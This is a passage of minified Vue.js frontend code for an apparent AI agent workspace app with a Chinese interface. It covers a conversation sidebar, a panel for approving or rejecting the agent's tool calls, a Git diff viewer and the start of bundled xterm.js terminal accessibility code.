ce-group-children",{expanded:Qs(String(Ce.workspace_id||""))}])},[E("div",a8,[(qt=(dt=In(String(Ce.workspace_id||"")))==null?void 0:dt.conversations)!=null&&qt.length?(F(),$(Ie,{key:1},[E("div",{class:"workspace-conversations-viewport",style:Ke({"--workspace-visible-count":((Ss=In(String(Ce.workspace_id||"")))==null?void 0:Ss.visibleLimit)||5})},[Qe(Vv,{name:"conversation-delete",tag:"div",class:ke(["workspace-conversations-list",`animation-mode-${We(w)}`]),onBeforeLeave:I},{default:Vt(()=>[(F(!0),$(Ie,null,tt(Uo(String(Ce.workspace_id||"")),ht=>(F(),$("div",{key:ht.id,class:ke(["conversation-item workspace-conversation-item",{active:ht.id===We(A),running:ut(ht.id)||Hs(ht.id),"insert-from-left":We(_)[ht.id]==="create","insert-from-under":We(_)[ht.id]==="duplicate","duplicate-source-mask":We(_)[ht.id]==="duplicateSource"}]),onClick:pn=>ir(ht.id,String(Ce.workspace_id||""))},[E("div",u8,ae(ht.title),1),E("div",{class:ke(["conversation-action-wrap",{"menu-open":W.value===ht.id}]),onClick:me[8]||(me[8]=Ne(()=>{},["stop"]))},[ut(ht.id)?(F(),$("span",h8)):Hs(ht.id)?(F(),$("span",d8)):(F(),$("button",{key:2,type:"button",class:"conversation-more-btn",title:"更多操作","aria-label":"更多操作","data-action-trigger":ht.id,"aria-expanded":W.value===ht.id,onClick:pn=>le(ht.id)},[...me[30]||(me[30]=[E("span",{"aria-hidden":"true"},null,-1)])],8,f8)),(F(),Wt(Sp,{to:"body"},[oe(ht.id)?(F(),$("div",{key:0,class:ke(["conversation-actions-menu conversation-actions-menu--fixed",{open:W.value===ht.id}]),style:Ke({top:V.value.top+"px",right:V.value.right+"px"})},[E("button",{type:"button",onClick:pn=>{W.value=null,fe.$emit("duplicate",ht.id)}},[E("span",{class:"icon icon-sm",style:Ke(R("copy")),"aria-hidden":"true"},null,4),me[31]||(me[31]=E("span",null,"复制",-1))],8,p8),E("button",{type:"button",class:"danger",onClick:pn=>{W.value=null,fe.$emit("delete",{id:ht.id,workspaceId:String(Ce.workspace_id||"")})}},[E("span",{class:"icon icon-sm",style:Ke(R("trash")),"aria-hidden":"true"},null,4),me[32]||(me[32]=E("span",null,"删除",-1))],8,g8)],6)):ge("",!0)]))],2)],10,c8))),128))]),_:2},1032,["class"])],4),nr(String(Ce.workspace_id||""))?(F(),$("div",m8,[E("button",{class:"load-more-btn",type:"button",disabled:(Kt=In(String(Ce.workspace_id||"")))==null?void 0:Kt.loadingMore,onClick:ht=>va(String(Ce.workspace_id||""))},ae((Es=In(String(Ce.workspace_id||"")))!=null&&Es.loadingMore?"载入中...":"加载更多"),9,v8)])):ge("",!0)],64)):(F(),$("div",l8," 暂无对话 "))])],2)])}),128))],2)):se.value&&We(v)?(F(),$("div",y8,[!We(g)&&!we.value.length?(F(),$("div",b8," 未找到匹配对话 ")):ge("",!0),(F(!0),$(Ie,null,tt(we.value,Ce=>(F(),$("div",{key:String(Ce.workspace_id||""),class:"workspace-group"},[E("div",_8,[E("div",S8,[E("span",{class:"icon icon-sm workspace-folder-icon",style:Ke(R("folderClosed")),"aria-hidden":"true"},null,4),E("span",w8,ae(Ce.label||Ce.workspace_id),1)])]),E("div",k8,[E("div",C8,[E("div",T8,[(F(!0),$(Ie,null,tt(Ce.results,dt=>(F(),$("div",{key:dt.id,class:ke(["conversation-item workspace-conversation-item",{active:dt.id===We(A),running:ut(dt.id)||Hs(dt.id)}]),onClick:qt=>ir(dt.id,String(Ce.workspace_id||""))},[E("div",E8,ae(dt.title),1),E("div",{class:ke(["conversation-action-wrap",{"menu-open":W.value===dt.id}]),onClick:me[9]||(me[9]=Ne(()=>{},["stop"]))},[ut(dt.id)?(F(),$("span",M8)):Hs(dt.id)?(F(),$("span",x8)):(F(),$("button",{key:2,type:"button",class:"conversation-more-btn",title:"更多操作","aria-label":"更多操作","data-action-trigger":dt.id,"aria-expanded":W.value===dt.id,onClick:qt=>le(dt.id)},[...me[33]||(me[33]=[E("span",{"aria-hidden":"true"},null,-1)])],8,I8)),(F(),Wt(Sp,{to:"body"},[oe(dt.id)?(F(),$("div",{key:0,class:ke(["conversation-actions-menu conversation-actions-menu--fixed",{open:W.value===dt.id}]),style:Ke({top:V.value.top+"px",right:V.value.right+"px"})},[E("button",{type:"button",onClick:qt=>{W.value=null,fe.$emit("duplicate",dt.id)}},[E("span",{class:"icon icon-sm",style:Ke(R("copy")),"aria-hidden":"true"},null,4),me[34]||(me[34]=E("span",null,"复制",-1))],8,R8),E("button",{type:"button",class:"danger",onClick:qt=>{W.value=null,fe.$emit("delete",{id:dt.id,workspaceId:String(Ce.workspace_id||"")})}},[E("span",{class:"icon icon-sm",style:Ke(R("trash")),"aria-hidden":"true"},null,4),me[35]||(me[35]=E("span",null,"删除",-1))],8,L8)],6)):ge("",!0)]))],2)],10,A8))),128))])])])]))),128))])):(F(),$(Ie,{key:3},[Le.value&&!de.value.length&&!We(v)&&!He.value?(F(),$("div",P8," 正在加载... ")):!de.value.length&&!Le.value&&!He.value?(F(),$("div",O8,ae(We(v)?"未找到匹配对话":"暂无对话记录"),1)):(F(),Wt(Vv,{key:2,name:"conversation-delete",tag:"div",class:ke(["conversation-list-items",`animation-mode-${We(w)}`])},{default:Vt(()=>[(F(!0),$(Ie,null,tt(de.value,Ce=>(F(),$("div",{key:Ce.id,class:ke(["conversation-item",{active:Ce.id===We(A),running:ut(Ce.id)||Hs(Ce.id),"insert-from-left":We(_)[Ce.id]==="create","insert-from-under":We(_)[Ce.id]==="duplicate","duplicate-source-mask":We(_)[Ce.id]==="duplicateSource",deleting:We(S).includes(Ce.id)}]),onClick:dt=>{W.value=null,fe.$emit("select",Ce.id)}},[E("div",N8,ae(Ce.title),1),E("div",{class:ke(["conversation-action-wrap",{"menu-open":W.value===Ce.id}]),onClick:me[10]||(me[10]=Ne(()=>{},["stop"]))},[ut(Ce.id)?(F(),$("span",B8)):Hs(Ce.id)?(F(),$("span",F8)):(F(),$("button",{key:2,type:"button",class:"conversation-more-btn",title:"更多操作","aria-label":"更多操作","data-action-trigger":Ce.id,"aria-expanded":W.value===Ce.id,onClick:dt=>le(Ce.id)},[...me[36]||(me[36]=[E("span",{"aria-hidden":"true"},null,-1)])],8,$8)),(F(),Wt(Sp,{to:"body"},[!ut(Ce.id)&&!Hs(Ce.id)&&W.value===Ce.id?(F(),$("div",{key:0,class:ke(["conversation-actions-menu conversation-actions-menu--fixed",{open:W.value===Ce.id}]),style:Ke({top:V.value.top+"px",right:V.value.right+"px"})},[E("button",{type:"button",onClick:dt=>{W.value=null,fe.$emit("duplicate",Ce.id)}},[E("span",{class:"icon icon-sm",style:Ke(R("copy")),"aria-hidden":"true"},null,4),me[37]||(me[37]=E("span",null,"复制",-1))],8,H8),E("button",{type:"button",class:"danger",onClick:dt=>{W.value=null,fe.$emit("delete",Ce.id)}},[E("span",{class:"icon icon-sm",style:Ke(R("trash")),"aria-hidden":"true"},null,4),me[38]||(me[38]=E("span",null,"删除",-1))],8,U8)],6)):ge("",!0)]))],2)],10,D8))),128))]),_:1},8,["class"]))],64)),!We(v)&&!se.value&&We(T)?(F(),$("div",W8,[E("button",{class:"load-more-btn",type:"button",disabled:We(k),onClick:me[11]||(me[11]=Ce=>fe.$emit("load-more"))},ae(We(k)?"载入中...":"加载更多"),9,z8)])):We(v)?(F(),$("div",j8,[We(g)?(F(),$("div",V8,[E("span",G8,[E("span",q8,[E("span",{class:"icon icon-sm search-spinner-icon",style:Ke(R("search"))},null,4)])]),me[39]||(me[39]=E("span",{class:"search-progress-text"},"搜索中...",-1))])):We(y)?(F(),$("button",{key:1,class:"load-more-btn",type:"button",onClick:me[12]||(me[12]=Ce=>fe.$emit("search-more"))}," 搜索更多 ")):de.value.length?(F(),$("div",K8,"已全部搜索")):ge("",!0)])):ge("",!0)]))]),_:1},8,["name"])],512),G.value?(F(),$("div",{key:1,class:"workspace-rename-overlay",onClick:Ne(jo,["self"])},[E("div",Q8,[E("div",X8," 重命名"+ae(s.workspaceKind==="workspace"?"工作区":"项目"),1),_v(E("input",{ref_key:"renameInput",ref:ie,"onUpdate:modelValue":me[13]||(me[13]=Ce=>ee.value=Ce),type:"text",class:"workspace-rename-input",placeholder:"请输入名称",onKeydown:[Sv(Ne(Jn,["prevent"]),["enter"]),Sv(Ne(jo,["prevent"]),["esc"])]},null,40,Y8),[[sS,ee.value]]),E("div",{class:"workspace-rename-actions"},[E("button",{type:"button",class:"workspace-rename-cancel",onClick:jo}," 取消 "),E("button",{type:"button",class:"workspace-rename-confirm",onClick:Jn}," 确认 ")])])])):ge("",!0),Qe(PU,{open:L.value,"anchor-rect":z.value,workspaces:s.workspaces,"current-workspace-id":s.currentWorkspaceId,"default-workspace-id":s.defaultWorkspaceId,"workspace-kind":s.workspaceKind,busy:s.workspaceBusy,"create-submitting":s.workspaceCreateSubmitting,"error-message":s.workspaceError,onClose:me[14]||(me[14]=Ce=>L.value=!1),onSwitch:me[15]||(me[15]=Ce=>fe.$emit("switch-workspace",Ce)),onCreate:me[16]||(me[16]=Ce=>fe.$emit("create-workspace",Ce)),onRename:me[17]||(me[17]=Ce=>fe.$emit("rename-workspace",Ce)),onDelete:me[18]||(me[18]=Ce=>fe.$emit("delete-workspace",Ce)),onSetDefault:me[19]||(me[19]=Ce=>fe.$emit("set-default-workspace",Ce)),onReveal:me[20]||(me[20]=Ce=>fe.$emit("reveal-workspace",Ce))},null,8,["open","anchor-rect","workspaces","current-workspace-id","default-workspace-id","workspace-kind","busy","create-submitting","error-message"]),E("div",{class:ke(["conversation-personal-entry",{active:We(M)}])},[E("button",{type:"button",class:"sidebar-nav-row personal-page-btn","data-tutorial":"open-personal-space",title:"个人空间",onClick:me[21]||(me[21]=Ce=>fe.$emit("personal"))},[...me[40]||(me[40]=[E("span",{class:"sidebar-nav-icon","aria-hidden":"true"},[E("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor"},[E("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M10 9a3 3 0 100-6 3 3 0 000 6zm-7 9a7 7 0 1114 0H3z"})])],-1),E("span",{class:"sidebar-nav-label personal-label"},"个人空间",-1)])])],2)])],2))}}),Z8={class:"icon-label"},eW={key:0,class:"approval-panel-body"},tW={key:0,class:"no-files"},sW={key:1,class:"approval-list"},nW={class:"approval-card__title"},iW={class:"approval-card__summary"},rW={key:0,class:"approval-edit-preview"},oW={class:"approval-path"},aW={class:"tool-result-diff approval-diff"},lW={key:1,class:"approval-edit-preview"},cW={class:"approval-path"},uW={class:"tool-result-diff approval-diff"},hW={key:2,class:"approval-kv"},dW={class:"approval-value approval-value--path"},fW={key:3,class:"approval-kv"},pW={class:"approval-value approval-value--path"},gW={key:4,class:"approval-lines approval-lines--cmd"},mW={key:5,class:"approval-kv"},vW={key:0},yW={class:"approval-actions"},bW=["disabled","onClick"],_W=["disabled","onClick"],SW=["disabled","onClick"],wW={key:0,class:"auto-approval-block__title"},kW={class:"auto-approval-block__content"},CW={key:1,class:"auto-approval-block__final"},TW={class:"auto-approval-block__reason"},AW=at({name:"ToolApprovalPanel",__name:"ToolApprovalPanel",props:{collapsed:{type:Boolean},width:{},approvals:{},decidingApprovalIds:{},autoApprovalFeedLines:{},autoApprovalFinalMessage:{},autoApprovalTitle:{}},emits:["approve","reject","switch-unrestricted","close"],setup(s,{emit:e}){const t=s,n=ye(()=>t.autoApprovalTitle||"自动审批记录"),i=ye(()=>n.value==="目标审批"),r=ye(()=>i.value?"目标审批":`工具审批 (${t.approvals.length})`),o=e,a=()=>{o("close")},c=ye(()=>typeof window<"u"&&window.innerWidth<=768);Cn(()=>{document.querySelector(".tool-approval-panel");const S=document.querySelector(".tool-approval-panel .sidebar-header");S&&window.getComputedStyle(S)});const l=S=>{var C;return(S==null?void 0:S.tool_name)==="edit_file"&&((C=S==null?void 0:S.preview)==null?void 0:C.edit_context)},u=S=>["run_command","terminal_input"].includes(S==null?void 0:S.tool_name),h=S=>(S==null?void 0:S.tool_name)==="write_file",d=S=>(S==null?void 0:S.tool_name)==="rename_file",p=S=>["create_file","create_folder","delete_file"].includes(S==null?void 0:S.tool_name),m=S=>Array.isArray(t.decidingApprovalIds)&&t.decidingApprovalIds.includes(S),v=S=>{var C,T,k,A;return((C=S==null?void 0:S.preview)==null?void 0:C.path)||((T=S==null?void 0:S.preview)==null?void 0:T.file_path)||((k=S==null?void 0:S.arguments)==null?void 0:k.path)||((A=S==null?void 0:S.arguments)==null?void 0:A.file_path)||""},g=S=>{const C=String(S||"");return{run_command:"执行命令",terminal_input:"终端输入",create_file:"创建文件",create_folder:"创建文件夹",delete_file:"删除文件",rename_file:"重命名文件",write_file:"写入文件",edit_file:"编辑文件"}[C]||C||"待审批操作"},y=S=>{var T;return String(((T=S==null?void 0:S.preview)==null?void 0:T.content_preview)||"").split(` +`)},b=S=>{var T,k;return(Array.isArray((k=(T=S==null?void 0:S.preview)==null?void 0:T.edit_context)==null?void 0:k.old)?S.preview.edit_context.old:[]).map(A=>String((A==null?void 0:A.content)??""))},_=S=>{var T,k;return(Array.isArray((k=(T=S==null?void 0:S.preview)==null?void 0:T.edit_context)==null?void 0:k.new)?S.preview.edit_context.new:[]).map(A=>String((A==null?void 0:A.content)??""))},w=S=>{const T=String(S||"").split(` +`),k=String(T[0]||"").trim(),A=String(T.slice(1).join(` +`)||"").trim();return{title:k,reason:A,isApproved:k.includes("批准通过")}};return(S,C)=>(F(),$("aside",{class:ke(["sidebar right-sidebar tool-approval-panel",{collapsed:s.collapsed,"is-goal-approval-mode":i.value}]),style:Ke({width:s.collapsed?"0px":s.width+"px"})},[E("div",{class:ke(["sidebar-header",{"mobile-header":c.value}])},[E("h3",Z8,ae(r.value),1),E("button",{type:"button",class:"approval-close-btn","aria-label":"关闭审批面板",onClick:a}," × ")],2),s.collapsed?ge("",!0):(F(),$("div",eW,[!s.approvals.length&&!i.value?(F(),$("div",tW,"暂无待审批操作")):(F(),$("div",sW,[(F(!0),$(Ie,null,tt(s.approvals,T=>{var k,A,M,R,P,L,z,Q;return F(),$("div",{key:T.approval_id,class:"approval-card"},[E("div",nW,ae(T.tool_name),1),E("div",iW,ae(g(T.tool_name)),1),l(T)?(F(),$("div",rW,[E("div",oW,ae(((k=T.preview)==null?void 0:k.file_path)||((A=T.preview)==null?void 0:A.resolved_path)),1),E("div",aW,[(F(!0),$(Ie,null,tt(b(T),(W,V)=>(F(),$("div",{class:"diff-line diff-remove",key:`o-${T.approval_id}-${V}`}," - "+ae(W),1))),128)),(F(!0),$(Ie,null,tt(_(T),(W,V)=>(F(),$("div",{class:"diff-line diff-add",key:`n-${T.approval_id}-${V}`}," + "+ae(W),1))),128))])])):h(T)?(F(),$("div",lW,[E("div",cW,ae((M=T.preview)==null?void 0:M.file_path),1),E("div",uW,[(F(!0),$(Ie,null,tt(y(T),(W,V)=>(F(),$("div",{class:"diff-line diff-add",key:`w-${T.approval_id}-${V}`}," + "+ae(W),1))),128))])])):p(T)?(F(),$("div",hW,[E("div",null,[C[0]||(C[0]=E("strong",null,"路径:",-1)),E("span",dW,ae(v(T)),1)])])):d(T)?(F(),$("div",fW,[E("div",null,[C[1]||(C[1]=E("strong",null,"重命名:",-1)),E("span",pW,ae((R=T.preview)==null?void 0:R.old_path)+" → "+ae((P=T.preview)==null?void 0:P.new_path),1)])])):u(T)?(F(),$("pre",gW,ae(((L=T.preview)==null?void 0:L.code)||((z=T.preview)==null?void 0:z.command)||""),1)):(F(),$("div",mW,[E("div",null,[C[2]||(C[2]=E("strong",null,"工具:",-1)),hn(ae(T.tool_name),1)]),(Q=T.preview)!=null&&Q.summary?(F(),$("div",vW,[C[3]||(C[3]=E("strong",null,"说明:",-1)),hn(ae(T.preview.summary),1)])):ge("",!0)])),E("div",yW,[E("button",{type:"button",class:"approval-btn approval-btn--switch",disabled:m(T.approval_id),onClick:W=>S.$emit("switch-unrestricted",T.approval_id)}," 切换到无限制 ",8,bW),E("button",{type:"button",class:"approval-btn approval-btn--approve",disabled:m(T.approval_id),onClick:W=>S.$emit("approve",T.approval_id)}," 运行 ",8,_W),E("button",{type:"button",class:"approval-btn approval-btn--reject",disabled:m(T.approval_id),onClick:W=>S.$emit("reject",T.approval_id)}," 拒绝 ",8,SW)])])}),128))])),s.autoApprovalFeedLines.length||s.autoApprovalFinalMessage?(F(),$("div",{key:2,class:ke(["auto-approval-block",{"auto-approval-block--goal":i.value}])},[i.value?ge("",!0):(F(),$("div",wW,ae(n.value),1)),E("pre",kW,ae(s.autoApprovalFeedLines.join(` +`)),1),s.autoApprovalFinalMessage?(F(),$("div",CW,[w(s.autoApprovalFinalMessage).title?(F(),$("div",{key:0,class:ke(["auto-approval-block__decision",w(s.autoApprovalFinalMessage).isApproved?"auto-approval-block__decision--approved":"auto-approval-block__decision--rejected"])},ae(w(s.autoApprovalFinalMessage).title),3)):ge("",!0),E("div",TW,ae(w(s.autoApprovalFinalMessage).reason),1)])):ge("",!0)],2)):ge("",!0)]))],6))}}),EW=Qt(AW,[["__scopeId","data-v-c836c8ac"]]),MW={class:"git-changes-panel__header"},xW={class:"git-changes-panel__title"},IW={class:"git-changes-panel__branch"},RW={class:"git-changes-panel__upstream"},LW={class:"git-changes-panel__summary"},PW={class:"git-changes-panel__add"},OW={class:"git-changes-panel__del"},DW={class:"git-changes-panel__body"},NW={key:0,class:"git-changes-panel__empty"},BW={key:1,class:"git-changes-panel__empty git-changes-panel__empty--error"},FW={key:2,class:"git-changes-panel__empty"},$W={class:"git-change-file__header"},HW={class:"git-change-file__title"},UW={class:"git-change-file__open-wrap"},WW=["disabled","title","onClick"],zW=["src"],jW={key:0,class:"git-change-file__open-empty"},VW=["onClick"],GW=["src"],qW={key:2,class:"git-change-file__open-empty"},KW={class:"git-change-file__path"},QW=["onClick"],XW={class:"git-change-file__stats"},YW={class:"git-changes-panel__add"},JW={class:"git-changes-panel__del"},ZW={class:"git-change-file__diff"},ez={class:"git-change-file__diff-inner"},tz=["onClick"],sz={class:"git-change-file__fold-content"},nz={class:"git-change-line__num"},iz={class:"git-change-line__marker"},rz={class:"git-change-line__text"},oz=["onClick"],az={class:"git-change-file__fold-content"},lz=at({name:"GitChangesPanel",__name:"GitChangesPanel",props:{width:{},loading:{type:Boolean},error:{},hostMode:{type:Boolean},foldContexts:{},diff:{}},emits:["close","expand-context","reset-context"],setup(s,{emit:e}){const t=s,n=e,i=ye(()=>{var S;return String(((S=t.diff)==null?void 0:S.branch)||"HEAD")}),r=ye(()=>{var S;return String(((S=t.diff)==null?void 0:S.upstream)||"未设置云端分支")}),o=ye(()=>{var S;return Math.max(0,Number(((S=t.diff)==null?void 0:S.additions)||0))}),a=ye(()=>{var S;return Math.max(0,Number(((S=t.diff)==null?void 0:S.deletions)||0))}),c=ye(()=>{var S;return Array.isArray((S=t.diff)==null?void 0:S.files)?t.diff.files:[]}),l=S=>{var T;const C=(T=t.foldContexts)==null?void 0:T[S];return!!C&&Object.values(C).some(k=>Number(k||0)>0)},u=new URL("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='24'%20height='24'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3cpath%20d='M12.5%2022H18a2%202%200%200%200%202-2V7l-5-5H6a2%202%200%200%200-2%202v9.5'/%3e%3cpath%20d='M14%202v4a2%202%200%200%200%202%202h4m-6.622%207.626a1%201%200%201%200-3.004-3.004l-5.01%205.012a2%202%200%200%200-.506.854l-.837%202.87a.5.5%200%200%200%20.62.62l2.87-.837a2%202%200%200%200%20.854-.506z'/%3e%3c/svg%3e",import.meta.url).href,h=pe(""),d=pe([]),p=pe(""),m=pe(""),v=S=>{const C=(S==null?void 0:S.kind)==="delete"?S.old_line:S==null?void 0:S.new_line,T=Number(C);return Number.isFinite(T)&&T>0?String(T):""},g=S=>S==="add"?"+":S==="delete"?"-":" ",y=(S,C)=>{n("expand-context",{path:S,foldKey:C})},b=S=>{n("reset-context",S)},_=async S=>{var C;if(t.hostMode){if(h.value===S){h.value="";return}h.value="",d.value=[],p.value="",m.value=S;try{const T=await fetch(`/api/project/file-open-apps?path=${encodeURIComponent(S)}`),k=await T.json().catch(()=>({}));if(!T.ok||!(k!=null&&k.success))throw new Error((k==null?void 0:k.error)||"检测应用失败");d.value=Array.isArray((C=k==null?void 0:k.data)==null?void 0:C.apps)?k.data.apps:[],h.value=S}catch(T){p.value=(T==null?void 0:T.message)||"检测应用失败",h.value=S}finally{m.value=""}}},w=async(S,C)=>{try{const T=await fetch("/api/project/open-file-with-app",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({path:S,app_id:C})}),k=await T.json().catch(()=>({}));if(!T.ok||!(k!=null&&k.success))throw new Error((k==null?void 0:k.error)||"打开文件失败");h.value=""}catch(T){p.value=T instanceof Error?T.message:"打开文件失败"}};return(S,C)=>(F(),$("aside",{class:"git-changes-panel",style:Ke({width:s.width+"px"})},[E("header",MW,[E("div",xW,[E("span",IW,ae(i.value),1),C[2]||(C[2]=E("span",{class:"git-changes-panel__arrow"},"→",-1)),E("span",RW,ae(r.value),1)]),E("div",LW,[E("span",PW,"+"+ae(o.value),1),E("span",OW,"-"+ae(a.value),1),E("button",{type:"button",class:"git-changes-panel__close","aria-label":"关闭 Git 变更面板",onClick:C[0]||(C[0]=T=>S.$emit("close"))}," × ")])]),E("div",DW,[s.loading&&!s.diff?(F(),$("div",NW,"正在加载 Git 变更…")):s.error&&!c.value.length?(F(),$("div",BW,ae(s.error),1)):c.value.length?(F(!0),$(Ie,{key:3},tt(c.value,T=>(F(),$("section",{key:T.path,class:"git-change-file"},[E("div",$W,[E("span",HW,[E("span",UW,[E("button",{type:"button",class:ke(["git-change-file__open-btn",{open:h.value===T.path||m.value===T.path}]),disabled:!s.hostMode,title:s.hostMode?"用应用打开文件":"Docker 模式不可用",onClick:Ne(k=>_(T.path),["stop","prevent"])},[E("img",{class:"git-change-file__open-icon",src:We(u),alt:"","aria-hidden":"true"},null,8,zW),C[4]||(C[4]=E("span",{class:"git-change-file__open-caret","aria-hidden":"true"},null,-1))],10,WW),h.value===T.path?(F(),$("div",{key:0,class:"git-change-file__open-menu",onClick:C[1]||(C[1]=Ne(()=>{},["stop"]))},[p.value?(F(),$("div",jW,ae(p.value),1)):(F(!0),$(Ie,{key:1},tt(d.value,k=>(F(),$("button",{key:k.id,type:"button",class:"git-change-file__open-option",onClick:Ne(A=>w(T.path,k.id),["stop","prevent"])},[E("img",{class:"git-change-file__open-option-icon",src:k.icon_url||We(u),alt:"","aria-hidden":"true"},null,8,GW),E("span",null,ae(k.label),1)],8,VW))),128)),!m.value&&!p.value&&!d.value.length?(F(),$("div",qW," 未检测到可用应用 ")):ge("",!0)])):ge("",!0)]),E("span",KW,ae(T.path),1),l(T.path)?(F(),$("button",{key:0,type:"button",class:"git-change-file__reset",onClick:Ne(k=>b(T.path),["stop","prevent"])}," 恢复 ",8,QW)):ge("",!0)]),E("span",XW,[E("span",YW,"+"+ae(T.additions||0),1),E("span",JW,"-"+ae(T.deletions||0),1)])]),E("div",ZW,[E("div",ez,[(F(!0),$(Ie,null,tt(T.hunks,(k,A)=>(F(),$(Ie,{key:`${T.path}-${A}`},[k.before_hidden>0?(F(),$("button",{key:0,type:"button",class:"git-change-file__fold",onClick:Ne(M=>y(T.path,k.before_fold_key),["stop","prevent"])},[E("span",sz,[C[5]||(C[5]=E("span",{class:"git-change-file__fold-icon git-change-file__fold-icon--up","aria-hidden":"true"},null,-1)),E("span",null,ae(k.before_hidden)+" 行未编辑的内容",1)])],8,tz)):ge("",!0),(F(!0),$(Ie,null,tt(k.lines,(M,R)=>(F(),$("div",{key:`${T.path}-${A}-${R}`,class:ke(["git-change-line",{"git-change-line--add":M.kind==="add","git-change-line--delete":M.kind==="delete"}])},[E("span",nz,ae(v(M)),1),E("span",iz,ae(g(M.kind)),1),E("span",rz,ae(M.text),1)],2))),128))],64))),128)),T.after_hidden>0?(F(),$("button",{key:0,type:"button",class:"git-change-file__fold",onClick:Ne(k=>y(T.path,T.after_fold_key||"after"),["stop","prevent"])},[E("span",az,[C[6]||(C[6]=E("span",{class:"git-change-file__fold-icon git-change-file__fold-icon--down","aria-hidden":"true"},null,-1)),E("span",null,ae(T.after_hidden)+" 行未编辑的内容",1)])],8,oz)):ge("",!0)])])]))),128)):(F(),$("div",FW,[...C[3]||(C[3]=[mi('当前没有未提交变更',2)])]))])],4))}});var eL={exports:{}};(function(s,e){(function(t,n){s.exports=n()})(self,()=>(()=>{var t={4567:function(o,a,c){var l=this&&this.__decorate||function(_,w,S,C){var T,k=arguments.length,A=k<3?w:C===null?C=Object.getOwnPropertyDescriptor(w,S):C;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")A=Reflect.decorate(_,w,S,C);else for(var M=_.length-1;M>=0;M--)(T=_[M])&&(A=(k<3?T(A):k>3?T(w,S,A):T(w,S))||A);return k>3&&A&&Object.defineProperty(w,S,A),A},u=this&&this.__param||function(_,w){return function(S,C){w(S,C,_)}};Object.defineProperty(a,"__esModule",{value:!0}),a.AccessibilityManager=void 0;const h=c(9042),d=c(6114),p=c(9924),m=c(844),v=c(5596),g=c(4725),y=c(3656);let b=a.AccessibilityManager=class extends m.Disposable{constructor(_,w){super(),this._terminal=_,this._renderService=w,this._liveRegionLineCount=0,this._charsToConsume=[],this._charsToAnnounce="",this._accessibilityContainer=document.createElement("div"),this._accessibilityContainer.classList.add("xterm-accessibility"),this._rowContainer=document.createElement("div"),this._rowContainer.setAttribute("role","list"),this._rowContainer.classList.add("xterm-accessibility-tree"),this._rowElements=[];for(let S=0;Sthis._handleBoundaryFocus(S,0),this._bottomBoundaryFocusListener=S=>this._handleBoundaryFocus(S,1),this._rowElements[0].addEventListener("focus",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._refreshRowsDimensions(),this._accessibilityContainer.appendChild(this._rowContainer),this._liveRegion=document.createElement("div"),this._liveRegion.classList.add("live-region"),this._liveRegion.setAttribute("aria-live","assertive"),this._accessibilityContainer.appendChild(this._liveRegion),this._liveRegionDebouncer=this.register(new p.TimeBasedDebouncer(this._renderRows.bind(this))),!this._terminal.element)throw new Error("Cannot enable accessibility before Terminal.open");this._terminal.element.insertAdjacentElement("afterbegin",this._accessibilityContainer),this.register(this._terminal.onResize(S=>this._handleResize(S.rows))),this.register(this._terminal.onRender(S=>this._refreshRows(S.start,S.end))),this.register(this._terminal.onScroll(()=>this._refreshRows())),this.register(this._terminal.onA11yChar(S=>this._handleChar(S))),this.register(this._terminal.onLineFeed(()=>this._handleChar(` +`))),this.register(this._terminal.onA11yTab(S=>this._handleTab(S))),this.register(this._terminal.onKey(S=>this._handleKey(S.key))),this.register(this._terminal.onBlur(()=>this._clearLiveRegion())),this.register(this._renderService.onDimensionsChange(()=>this._refreshRowsDimensions())),this._screenDprMonitor=new v.ScreenDprMonitor(window),this.register(this._screenDprMonitor),this._screenDprMonitor.setListener(()=>this._refreshRowsDimensions()),this.register((0,y.addDisposableDomListener)(window,"resize",()=>this._refreshRowsDimensions())),this._refreshRows(),this.register((0,m.toDisposable)(()=>{this._accessibilityContainer.remove(),this._rowElements.length=0}))}_handleTab(_){for(let w=0;w<_;w++)this._handleChar(" ")}_handleChar(_){this._liveRegionLineCount<21&&(this._charsToConsume.length>0?this._charsToConsume.shift()!==_&&(this._charsToAnnounce+=_):this._charsToAnnounce+=_,_===` +`&&(this._liveRegionLineCount++,this._liveRegionLineCount===21&&(this._liveRegion.textContent+=h.tooMuchOutput)),d.isMac&&this._liveRegion.textContent&&this._liveRegion.textContent.length>0&&!this._liveRegion.parentNode&&setTimeout(()=>{this._accessibilityContainer.appendChild(this._liveRegion)},0))}_clearLiveRegion(){this._liveRegion.textContent="",this._liveRegionLineCount=0,d.isMac&&this._liveRegion.remove()}_handleKey(_){this._clearLiveRegion(),new RegExp("\\p{Control}","u").test(_)||this._charsToConsume.push(_)}_refreshRows(_,w){this._liveRegionDebouncer.refresh(_,w,this._terminal.rows)}_renderRows(_,w){const S=this._terminal.buffer,C=S.lines.length.toString();for(let T=_;T<=w;T++){const k=S.translateBufferLineToString(S.ydisp+T,!0),A=(S.ydisp+T+1).toString(),M=this._rowElements[T];M&&(k.length===0?M.innerText=" ":M.textContent=k,M.setAttribute("aria-posinset",A),M.setAttribute("aria-setsize",C))}this._announceCharacters()}_announceCharacters(){this._charsToAnnounce.length!==0&&(this._liveRegion.textContent+=this._charsToAnnounce,this._charsToAnnounce="")}_handleBoundaryFocus(_,w){const S=_.target,C=this._rowElements[w===0?1:this._rowElements.length-2];if(S.getAttribute("aria-posinset")===(w===0?"1":`${this._terminal.buffer.lines.length}`)||_.relatedTarget!==C)return;let T,k;if(w===0?(T=S,k=this._rowElements.pop(),this._rowContainer.removeChild(k)):(T=this._rowElements.shift(),k=S,this._rowContainer.removeChild(T)),T.removeEventListener("focus",this._topBoundaryFocusListener),k.removeEventListener("focus",this._bottomBoundaryFocusListener),w===0){const A=this._createAccessibilityTreeNode();this._rowElements.unshift(A),this._rowContainer.insertAdjacentElement("afterbegin",A)}else{const 